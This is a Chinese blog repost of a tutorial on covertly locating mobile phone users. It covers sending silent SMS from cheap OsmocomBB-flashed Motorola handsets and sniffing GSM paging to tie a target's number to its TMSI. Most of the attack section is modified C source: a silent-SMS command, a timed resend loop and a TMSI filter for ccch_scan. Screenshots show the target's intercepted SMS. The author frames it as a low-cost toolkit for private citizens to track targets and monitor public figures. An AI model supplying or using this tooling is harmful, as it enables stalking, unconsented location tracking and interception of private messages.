GSM Hacking:静默短信(Silent SMS)在技术侦查中的应用

原文链接:http://www.freebuf.com/articles/terminal/98848.html

原文作者:fl00der


0×00 前言

技术侦查时我们经常需要对目标人物进行定位,监听目标人物的电话和短信。

如何做到呢?首选当然是高大上的7号信令系统(SS7)。你需要一个能够访问的支持MAP(Mobile Application Part)的SS7信令接入点,然后,你理论上就可以侦听,拦截,伪造全球任何移动用户的电话和短信了,也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上,除非某些运营商做了信令过滤,否则不管你从哪个国家接入SS7,命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起,对机构来说并不是很贵。

小科普:

SilentSMS:静默短信
信令系统#7(SS7:Signaling System #7)由 ITU-T 定义的一组电信协议,主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术(CCS:common-channel signaling),也就是带外(out-of-band)信令技术,即信令服务提供独立的分组交换网络。
MAP:Mobile Application Part (移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。

MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。

MAP的作用

MAP是为完成移动台的自动漫游功能,在移动通信网络实体之间传递信息的信令。
MAP支持的业务有:
 移动性业务,包括位置管理,切换,鉴权管理,国际移动设备设备管理,用户管理,故障恢复
 操作与维护,包括用户跟踪,用户识别
 呼叫处理
 与补充业务相关的业务
 短消息业务管理
 网络请求的PDP上下文活动业务

但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢?

打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的Slient SMS的低成本实现方法和简单应用。

其实,Silent SMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,Silent SMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。

0×01 背景知识

手机号码(MSISDN)在移动通信网上是很少进行传输的。对于移动网络来说,区别不同手机的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN,移动网络收到你的请求后要把MSISDN映射回IMSI,然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的,好让你能知道知道对方是谁。

而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。

小科普:

IMSI(International Mobile Subscriber Identity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。

无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(Temporary Mobile Subscriber Identity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。

所以,在我们侦听移动通信时会发现,上行的通信请求,不管是发短信还是打通话,只能侦听到发起者的TMSI和接收者的MSISDN;而下行的通信,不管是来电话还是来短信,只能侦听到发起者的MSISDN和接收者的TMSI。这样,如果我们不能找出TMSI和MSISDN的一一对应关系,我们就没法区分出哪些短信和通话是指向我们的目标人物的。

而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。

扩展阅读:

关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。

0×02 原理

当有新的Mobile Terminated Services,通常是短信或来电,要传送的时候,移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI,就会向网络申请一个信道,申请成功后,手机转到该信道发送呼叫响应,网络回复该呼叫响应,然后经过鉴权、加密协商等流程后,网络开始向手机传送服务,这时手机才知道来的是电话还是短信,在收到一部分服务信息后,手机开始决定是否提示用户和如何提示用户,是来电话了还是收到短信了,是振铃还是震动等。

我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系,依靠的就是Paging。根据以上流程我们可以看到,如果我们电话呼叫目标手机,在一个合适的时间点,即网络上已经广播了Paging信息,但目标手机还未振铃之前及时挂断,目标手机也是没有提示的,而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程,我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于,这个合适的时延比较难把握,而且不同运营商,甚至不同区域的网络还有差异,调校起来比较费事。这时,Silent SMS就成了我们的首选。

Silent SMS是一种特殊格式的短信,在短信报文头上设置特殊的标识位以后,接收者手机收到后不会有任何提示和反应,也不会存储短信内容,而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS,我们会侦听到网络广播的Paging信息,但是不需要像电话呼叫那样顾虑时延和及时挂断的问题,目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容,当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。

TMSI是在一个LAC(Location Area Code)/TA(Tracking Area)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。

0×03 低成本实现

朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。

网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS,用Airprobe + RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。

OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer 2和3是在PC上运行的。
Motorola C118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USB Hub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。

具体实现上,我们需要使用两部C118/C139手机,一部用来发送Silent SMS,另一部用来侦听PCH并记录正在呼叫的TMSI。

C118(左)和C139(右)兄弟合影:

1

用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:

2

0×04 如何发送Silent SMS

OsmocomBB里的mobile程序是工作在Layer 2-3,用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实,可以把C118/C139看做是最便宜的短信猫,而修改过的mobile程序就是短信群发软件。

构造Silent SMS

每个短信都有一个TP-Protocol-Identifier字段,只要设置为0×40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。

我们只要在发短信之前,把对应的字段做好设置,发出的就是Silent SMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。

主要数据结构

为了按特定时序发送Silent SMS,我们需要一个定时器。设定好时间间隔,定时器就会被定时触发,然后调用发送函数去发送一条Silent SMS。

struct osmo_timer_list tick_timer_smsping;

struct {
	int pid;
	int dcs;
} silent_sms;

主要源代码

vty_interface.c

//新增控制台命令:silent,用于设置TP-PID和TP-DCS

DEFUN(silent, silent_cmd, "silent TP-PID TP-DCS",
	"Set SMS messages header\n"
	"1 for 0x40, 0 for default\n"
	"1 for 0xC0, 0 for default\n")
{
	int pid;
	int dcs;
	if (argc >= 1) {
		pid = atoi(argv[0]);
		dcs = atoi(argv[1]);
		if (pid) {
			silent_sms.pid = 1;
		} else {
			silent_sms.pid = 0;
		}
		if (dcs) {
			silent_sms.dcs = 1;
		} else {
			silent_sms.dcs = 0;
		}
	}
	return CMD_SUCCESS;
}

发送部分的源代码:

if(smscnt == MAX_SMS_Count){//开始批量发送
		tick_timer_smsping.cb = &sms_ping; //初始化定时器
		tick_timer_smsping.data = &timer_step;
		smscnt--;
		ping_sms_sca = strdup(sms_sca);
		ping_number = strdup(number);
		ping_sms_txt = strdup(argv_concat(argv, argc, 2));
		call_vty = vty;
		sms_send(ms, sms_sca, number, argv_concat(argv, argc, 2));
		vty_out(vty, "Slient SMS %d sent%s", smscnt, VTY_NEWLINE);
	}

gsm411_sms.c

struct gsm_sms *sms_from_text(const char *receiver, int dcs, const char *text)
{
	struct gsm_sms *sms = sms_alloc();
	if (!sms)
		return NULL;
	strncpy(sms->text, text, sizeof(sms->text)-1);
	sms->reply_path_req = 0;
	sms->status_rep_req = 0;
	sms->ud_hdr_ind = 0;
	if (silent_sms.pid)
		sms->protocol_id = 0x40; /* type 0 */
	else
		sms->protocol_id = 0; /* implicit */
	if (silent_sms.dcs)
		sms->data_coding_scheme = 0xC0;
	else
		sms->data_coding_scheme = dcs;
	strncpy(sms->address, receiver, sizeof(sms->address)-1);
	/* Generate user_data */
	sms->user_data_len = gsm_7bit_encode(sms->user_data, sms->text);
	return sms;
}

用来重复发送的源代码:

void sms_ping(void *data)
{
	struct osmocom_ms *ms;
	ms = get_ms("1", call_vty);
	vty_notify(ms, "ping sent");
	if(smscnt == 0){
		return 0;
	}
	sms_send(ms, ping_sms_sca, ping_number, ping_sms_txt);
	smscnt--;
	return 0;
}
static int gsm411_sms_report(struct osmocom_ms *ms, struct gsm_sms *sms,
	uint8_t cause)
{
	vty_notify(ms, NULL);
	if (!cause){
		vty_notify(ms, "SMS %d to %s successfull\n", smscnt, sms->address);
		if(smscnt != 0)
			osmo_timer_schedule(&tick_timer_smsping, 10, 0);//定时间隔10秒
	}else
		vty_notify(ms, "SMS to %s failed: %s\n", sms->address,
			get_value_string(gsm411_rp_cause_strs, cause));
	return 0;

}

使用mobile的命令行发送Silent SMS:

3

使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0×40,0xC0,短信内容为“testing 1 2 3”:

4

0×05 如何筛选TMSI

OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。

在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。

数据结构

struct _tmsis_ {
	uint8_t		tmsi[4];
	char 		cnt;
} tmsis[300];

列出TMSI的源代码

void tmsi_match(uint8_t *t)
{
	if(app_state.finding==1){
		int i;
		int f=0;
		for(i=0; i < app_state.tmsicnt; i++){
			if(!memcmp(t, tmsis[i].tmsi, 4)) {
				tmsis[i].cnt += 1;
				f=1;
				if(tmsis[i].cnt > app_state.mincnt){
					printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
				}
			}
		}
		if((f==0)&&(app_state.tmsicnt<300)){//队列深度		
			app_state.tmsicnt += 1;
			memcpy(tmsis[i].tmsi,t,4);
			tmsis[i].cnt = 1;
			printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
		}
		return;
	}
	if(!memcmp(t, app_state.wanted_tmsi, 4)) {
		app_state.tmsi_matched = 1;
		printf("TMSI Match %s\n", osmo_hexdump(t,4));
	}
}

我们给ccch_scan新增加一个参数:-f paging次数。

国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。

static int l23_cfg_print_help()
{
	printf("\nApplication specific\n");
	printf("  -k --kc KEY           Key to use to try to decipher DCCHs\n");
	printf("  -t --tmsi TMSI        Filter assignments with specified TMSI (paging only)\n");
	printf("  -f --count		Filter paging TMSI\n");
	return 0;
}
static int l23_cfg_handle(int c, const char *optarg)
{
	switch (c) {
	case 'k':
		if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
			fprintf(stderr, "Invalid Kc\n");
			exit(-1);
		}
		break;
	case 't':
		if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
			fprintf(stderr, "Invalid TMSI\n");
			exit(-1);
		}
		app_state.finding = 0;
		break;
	case 'f':
		app_state.finding = 1;
		app_state.mincnt= atoi(optarg);
		break;
	default:
		return -1;
	}
	return 0;
}

运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:

5

同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:

6

我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:

7

用WireShark来侦听目标手机接收到的短信:

8

用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:

9

0×06 后记

手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。

本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。

关于LTE下的玩法,未来找时间专文再探讨吧。

GSM Hacking:静默短信(Silent SMS)在技术侦查中的应用》有一个想法

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注